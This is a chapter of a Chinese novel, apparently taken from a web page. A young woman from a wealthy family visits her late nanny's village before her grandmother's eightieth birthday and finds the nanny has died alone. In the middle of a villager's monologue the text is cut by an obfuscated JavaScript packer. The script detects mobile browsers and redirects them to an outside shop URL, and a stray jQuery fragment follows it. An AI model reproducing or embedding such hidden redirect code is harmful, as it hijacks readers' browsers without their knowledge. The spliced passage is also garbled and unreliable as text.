上次话说到公冶华月和宋家的少爷宋瑾之出门约会，两人一同出门游玩过好几次，多数时候是带着弄晴的。逛老城区的小摊子，密密层层的书画古董；去电影院看电影，贫家女嫁富家郎、风流戏子遇见正直少爷、人鬼续缘却分属殊途，再不然是些外国的片子，小市民阶层的狡诈与幽默、资产阶级的欲望与堕落、写中国封建时代的凄美的华丽与退场。等等、等等，说不完的爱情故事。然而都是假的，关于人的渺小、无力、虚伪、下作的包装。有时候也只是一齐到芙蓉城的老街道上散步，累了便去咖啡馆、饭店吃东西。
有一次，两人带着弄晴出门，先去了穿山公园散步，后边顺路进了白马寺，正遇见宣讲佛经的宝月禅师。他一见到公冶华月，兴兴头头地凑上前说了一会子话。出白马寺，到公园外的小摊子逛，左右都是些小玩意儿，宋瑾之便说去华氏电影公司看看。又因为到中午了，路上先去了咖啡馆吃东西。等三人都吃好，已经过了中午，宋瑾之下午要去医院上班，只得送公冶华月回去。公冶华月没回，去了趟华氏和芙蓉大戏院。
这一场相亲谈了两个多月，够长时间了，再长倒不像相亲认识的。宋家便提出择日订婚，没想着华月却没有同意。后来惹了谣言四起，又有冯沅君去世、公冶老太太去世、何在真结婚，正是：世事一场大梦，人间几度秋凉？夜来风叶已鸣廊，看取眉头鬓上。
六月初开始，芙蓉城的天气渐渐热了。阳光鼓舞一切的躁动，空气中黏黏腻腻布着看不见的水汽，芙蓉城的一切草木，遮蔽街道的古木、各人家里院子里的花草，都在水汽中氤氲绿色，向上生长着，太茂盛了以至于朦朦胧胧，好像画水彩画时的色块。植物毫无节制地生长，迎着阳光舒展枝叶。人也容易受到影响，一颗心随着浓荫绿树蓬蓬勃勃地喜悦起来，总想做已经想做太久的事情，不能再忍耐了。
宋瑾之便打算在公冶老太太生日的前几天向公冶华月求婚，顺利的话，他们在公冶老太太的寿宴上向众人宣布订婚的事情——这是再板上钉钉不过的事情了，不会不顺利的。宋家这样想。芙蓉城里许久不热闹了，不知道消息一出来，该热闹成什么样子。
公冶华月有一天去看望冯沅君——六月底的时候，公冶老太太生日的前两天。老太太要过生日，因着是八十岁大寿，比早两年的更热闹些，外边各处早送了礼物过来了，八仙祝寿珐琅矮颈花瓶、大红釉瓶一对、雕花金盆红珊瑚盆景、请禅师开了佛光的琉璃深海珍珠串子等；家里的老妈子们领着小丫鬟们做了许多万字底寿字手帕、鞋样子，回礼时用。
这会子丫鬟们抱着礼物，车水马龙流水价似的端进老太太屋里给她过目。顾云喜、何在蝉和公冶华月都在。
公冶华月便向老太太道：“家里边过寿，该去看看冯奶奶的。”
老太太笑道：“你提起她，我倒想起来她的生日和我的近，好像是晚几天。她今年也有六十了？是个大寿，你去看看她倒应该。你小的时候，她照顾你费了不知多少力气呢。”
“说起来，我们华月是个有孝心的，一个老嬷嬷倒时刻记着她。”顾云喜闻言笑道，见着佣人拿着一卷裱好了的早春桃花江水图过来，又道：“瞧瞧，这画儿倒像华月画的。是华月送的？”
佣人笑道：“不是小姐送的寿礼，是外边的一个画家送的。”她点了点画的左下角，道：“这儿有落款呢。”
顾云喜因笑道：“我前儿个去华月的屋里，倒见着她在画画，便先以为是画给老太太的了。原来却不是。”
她这是在说公冶华月念着外人，倒不给自家老祖宗送礼。公冶华月听了还没怎么样，一旁的何在蝉倒也被打着了，心里一番不痛快。她手头上说阔绰倒也算不上，买太贵重的买不起，自己做些什么送上去也还是一份心意，偏她又不会什么。又见顾云喜、公冶则阳等人都不送礼的，何在蝉便也不送了，只是日常多到老太太屋里坐坐。
何在蝉的肚子到这会儿有些大了，圆滚滚的，像琥珀色的蜜罐蚁的肚子。她的肚子确实像一个蜜罐，承载了许多人的喜悦和甜蜜。虽然在顾云喜看来不大是一回事，可是她也觉得那是一个蜜罐子的所在——里边是泡在蜜水中的孩尸。他还没拥有真正意义上属于自己的生命，便像箭垛似的插满了别人的盼望。
何在蝉的手不能直直地放在膝头，而是弯曲着垫在沉坠的肚子的下边，因笑道：“要论起来，我也没有给老太太备礼物的，听太太的话，我先不好意思了。”
顾云喜侧头看了一眼何在蝉，正看见她的肚子，针扎了眼睛似的，她眯起眼笑道：“我们这些老的便也罢了，不向老太太要东西、多来房里陪老太太便是孝顺的。做晚辈的却还是要尽点心，我们不靠他们还能靠谁？”
半晌，老太太向流红道：“把那幅画送到华月房里去，我这儿不要。送那么些东西过来，我的房里就这么点大，哪里放得下许多？左右不过我看过了，便闲置在别的屋子里了。你们也都别送东西，不缺你们那一件两件的。”顿了顿，老太太点着几个人笑道：“你们多来陪我说话就好。”
流红派了小丫鬟送画过去，又笑道：“这倒便宜太太小姐们了，往日里也来陪老太太说话的，今儿个老太太祝寿，仍只要做这些。”
何在蝉因笑道：“反正老太太已经发话了，难不成你还要为难我们？”
流红笑道：“我哪里敢？姨奶奶说笑了！我不过替老太太唬唬人罢了。”
老太太闻言笑道：“你唬人不成，小心倒给人家唬住了。”笑了会儿，她又向公冶华月嘱咐道：“便去吧，也带些寿礼，算是早些给她拜寿了。你一会儿就去，早些回来。她要是留你吃饭什么的，你也别留了，你吃不惯，且麻烦人家老人家。早些回来，到我房里吃晚饭，我叫人做你爱吃的那几道菜。”一面又叫流红拣选些礼物出来。
顾云喜忍不住笑道：“也不是个小孩了，老太太总这样嘱咐！这怎么成？你什么都嘱咐，且不论她心里听不听得进去，都是要结婚成家的人了，往后家里大小事要自己做主的，在家里纵容惯了，什么也没学会，到时候让人笑话。我们做女儿的时候，像这么大年纪，谁不是既要孝顺父母，又得自己心里清楚的？什么事都给你安排得妥妥的，天下有这样的好事！”
老太太只是笑，说：“她还是小孩子。左右我就这么些年了，还能替她兜揽一辈子？”
顾云喜忙道：“妈！你说到哪里去了？什么几年的事情？”
流红接过来撮哄了几句，这事也就岔过去了。
公冶华月带了礼物出门，坐家里的车去的。弄晴跟着。另外还有个老太太派的李嬷嬷，她记得些冯沅君住在哪里。
冯沅君的家离市区不是太远，在城西的边上。
那儿是一个小村子，房屋是芙蓉城里一贯的白墙黛瓦似的房子，不过墙壁不是白砖砌的，是泥土砖，外边糊上粗糙的白石灰。这片村子的房屋比荷花村的简陋许多，少有天井，也几乎没有马头墙。一阵阵雨落下来，瓦片碎了，开始漏水。地板铺了薄薄的一层水泥，人踩在上边要收着力的，虽然人已经小心了，然而漏下的雨依然腐蚀了地板。里外的白墙壁也在发霉，青色、青灰色、黑色，然后墙壁斑驳脱落了，露出里边的土黄。你看一眼，总觉得有些窘的，尤其是里边还住着人的话。
很少有人花钱修缮这样的老房子。本来嘛，位置不好、材料不好、设计也不好，修缮起来像是白花钱。并且人长大了，回看小时候住的房子，总觉得那是人的暂时的住所，一旦可以离开了，永世不回来的。它的发展确实伴随着人口的减少，有钱的再不济也搬迁到东南亚的国家去了，穷一些的给城里的富人做佣人、进城里做小生意，谁也不愿意再住回这儿了。——你要是太穷，谁也没有办法的，你只好仍是留下来，只你留下来，谁也不管你的。
七拐八拐，绕过许多个路口。每个路口似乎都有一棵极高大的香樟树，枝繁叶茂，华盖似的。路过最后一个路口，公冶华月又见着一棵，它的顶端的树杈子光秃秃的，遭了雷劈似的，乌黑黑的指着青天。但它的四周却团团围着绿叶。公冶华月总觉得这是一个暗示。
“冯沅君住在哪儿？哪一间是她家的屋子？我们来看望她。”李嬷嬷拉扯着嗓子笑着问，有些粗哑的高声里透着一点喜悦。
被拦住的村民问道：“你说的哪个？”他的声音带着芙蓉城的乡音，一种上翘的泛着悠闲的劲。
李嬷嬷笑道：“在从前的谢家做事的那位，后来她还到公冶家去了。你知道吗？”
那人使劲跺了跺脚，嗐了一声道：“你说她呀？我有谁不知道的？只要你问的人住在我们村里，他祖宗几代人我都记得！什么陈芝麻烂谷子的事儿，只有你想不起来问的，没有我不记得的！冯家嘛！好几代人都到城里做佣人的。她们家不争气，几个老子都爱赌钱，靠老婆干活过日子的。这也就算了，他娘的，还都早死！说起来，这算不算一种福气？”说到末尾，他咧着嘴笑了，又是笑又是骂，好像巴不得自己也尽享福完了死了似的。
这个瘦干的中年男人，头发仍是乌黑的颜色，瘦长脸上皱巴巴的，眼睛很亮，透着一种对什么都感兴趣的神色。穿着件灰色老棉布褂子，下边一条酱色窄腿裤，踩着双军绿色布鞋。裤子挽起了一截，露出他钉了深褐色疮疤的劲瘦的小腿，那疮疤像一枚枚长了绿霉斑的铜钱。他一面说话，一面止不住地跺脚，说到一句得意的便跺一次，仿佛终于欺负了他耕耘了大半辈子的土地。
李嬷嬷失笑道：“嗳，是。你记得倒清楚。劳驾问问，她家是哪一间呢？我从前倒是听她提起过。你们这儿又近着我一个亲戚家，过来我倒是路熟，但具体是哪一间我倒不清楚。”
男人一拍手，又是皱眉头又是跺脚，遗憾道：“她前不久死了！你们怎么这会儿来找她？你们是她什么人？她死的时候我倒没见什么人过来，连什么外甥外甥女也没来一个的！她也是受罪，伺候了别人一辈子，自己没结婚生子，到老了又得伺候自个儿，没个人到跟前的。”
“死了？”
“可不是！这我还能骗你们啊？你们要是不信，我领你们到她坟地上看看去。这会儿连纸幡都还没烂呢，还该飘在天上的。”
李嬷嬷侧头看了看坐在车里的公冶华月，见她不吭声，又没有打道回府的意思，只得又问道：“她怎么死的呢？不是还没多老吗？怎么就死了。”
男人又跺脚道：“嗳，都六十岁了，还不够老吗？你以为都跟你家主子似的，天天有人伺候。有句话怎么说的来着？”他吸着气望向天空，终于想起来了，高兴道：“那叫衣来伸手饭来张口。有人伺候嘛，天天吃喝玩乐也就够了，那是富人的生活。他们再活八百年也嫌不够的。诶！古代不就好几个皇帝求仙问道？什么童男童女，出海仙山，那自古都是有钱人的生意！像我们穷人呐，四五十岁就活得够多了。再活下去不过多吃几年苦。你爱吃苦？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780527|206699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
他攒了好些话要和人说，好一些是他听村里的老人说的，他自己夜里来回地琢磨，他觉得有文化。只可惜村里再没什么年轻人提起这些话头，他也就无处可说了。这会儿有人撞到他面前，他一口气说完，就怕过后有没想起来说出口的。
李嬷嬷不大耐烦道：“那她呢？她怎么死的？”
“呕，呕，我刚刚没说？”男人收回叉开的那只脚，换了另一只脚，又开始跺了，朗声道：“这事也奇了，你听我和你讲。按理来说，她又没病，又没摔着碰着，不该那个时候死的。她自己一个人住，每天要到院门口走走的。那天我们谁也没见着她。我说奇怪呢，回家问了我老婆，她也说没见着。我寻思着不对，吃了饭之后叫了好几个人去她家看。哟，她自个儿寿衣都穿上了，也不知道她什么时候备着的。就在那儿躺着，叫也叫不醒，摸她的手，冷得不成样子了，大家就知道她是死了。”
“她家没人葬她？你们怎么处置的？”
“别说来个人出钱出力，就是个铜钱也没人送来的。也亏得我们这儿有个太爷，他家前几年搬走了，去了国外，留下些地方，全分给村里了。我们钱没有几个，葬她的地还是有的，丧礼什么的是办不成了，第二天烧了蜡烛纸钱，草席子一卷，几个人抬着她出去下葬了。”
李嬷嬷叹道：“也亏得你们邻里邻居的这样好心。”
男人道：“这远亲不如近邻，古人说的难道骗你的？也是她祖辈的因缘了。她妈妈只生了三个女儿，女儿嫁出去就是泼出去的水了，各人走各人的路，谁管得着你？她妈又是早不在了的，谁能做主？哗啦啦麻雀从地上飞去了似的。”
男人领了她们几人到冯沅君的房子去，给她们说了几句便走了。他戴上刚刚搭在木桩子上的浅褐色草帽，毫不留恋地迈开大步子走了。
李嬷嬷道：“这谁能知道呢？我记着过几天她就满六十岁了。”
弄晴诧异地道：“我们谁也不知道。”
“除了她自己，谁好代她到咱们家里去说的？就是她死了，邻居们见连外甥都不来的，更不敢想着咱家了。”李嬷嬷叹道。
“他们这样想？”弄晴疑惑道，看了看黑黢黢的屋子，又说：“小姐，人都不在了，我们回去吧。下次再来给冯奶奶烧香。”
公冶华月这才道：“还是进去看看。”一面走了进去。
这是一个深深的屋子，好似走不到尽头似的。先是一副吃饭的桌凳，早掉漆掉得不成样子了，原本的红木变成暗红色，如同新鲜的血液凝成旧色。再里边是一张撑了白棉纱帐子的木板床，两张旧长条凳子上铺了几块木板便算是床了。尽头处的墙壁安着一个木格子窗户，不大能透光，因此屋里幽幽地暗着。人死如灯灭，一个人死了，留下的所有东西都是冷的，确实像是吹灭了的蜡烛，连从前亮过的烛光也再不算数的。中国的习俗里，死人生前用的床、衣服都是不吉利的，要拿去烧了。值钱的却是另当别论。冯沅君自然没有钱，不然外甥也不会不来了。她的东西都拿去烧了，这是村人的好心，算是给她带去冥世应用。
公冶华月走了一遭，实在没有冯沅君留下的痕迹。她的心也渐渐地冷了，仿佛这个人没存在过似的。可她又确实记得小时候的事情，冯沅君抱过她的，她窝在冯沅君的怀里，藕节似的手圈着她的脖颈，肉感的温热，还能感受到她的心脏的跳动——如同她趴在谢道怜身上的感觉。
正屋旁边挨着一间很小的土房，耳朵似的，这是厨房。
这儿不住人，情况坏一些，瓦片碎了许多，透着天光，像是在看星星。
厨房里砌了一个灶台，黑水泥边，面上铺了深藕粉的瓷砖。中国人的灶台总是最稳固的存在。哪一天瓦片碎了，泥墙坍塌，房梁随着倾倒，灶台也是顽固地站在那儿的。
公冶华月站在门边，穿一身白色蝴蝶暗纹真丝旗袍，细弱的脖颈上系着一条苹果绿牡丹小纹软纱汗巾——她怕风的缘故。她静静地站在那儿看，仿佛站在一片死地上似的，有一种触目的感觉，这一缕生的气息实在是不合时宜地出现在这儿的。
好半天，公冶华月说：“回去吧。”
那稳固的灶台坦然地在这儿等人似的，告诉你这儿果然有人生活过的，同你一样地吃饭、穿衣、睡觉，然而现在他们不在了——一种苍凉的感觉，不能久留的，留久了仿佛从前是你活在这儿似的。或者再过一会儿，有人该回来烧火了，屋子上边的小方烟筒将浓浓地放出白烟，连到天上去。
老妈子和弄晴连忙扶着她回车上，看她的样子也不是不高兴。礼物动也没动，车子往公冶家回去了。
公冶华月是没觉着有多伤心，她只是疑惑：这是真的吗？怎么我一来，别人就同我说她死了呢？要是来的人不是我，是不是她就不死了？
她想起冯沅君说过的，“人死了就是永远地睡着了，不管给她再喜欢的东西，放到她的面前，她也再不醒来看一眼的。”——人死了，就什么都不要了，只是安稳地长睡。
外边的天仍是一片晴朗的青天，阳光明媚，谁也不会觉得这种时候该有人去死的。
她们一走，这一小片地方再没有人经过了，安静得如同末世。乡下就这点太不好——人少。而没有了人，声音也要没有的，成了寂寞的一切。房屋，草木，连着晒到这片地方的阳光，都有了人的生命似的，只背着人私语。更可憎的是，人来来回回地死了几千年，于它们却没有时间。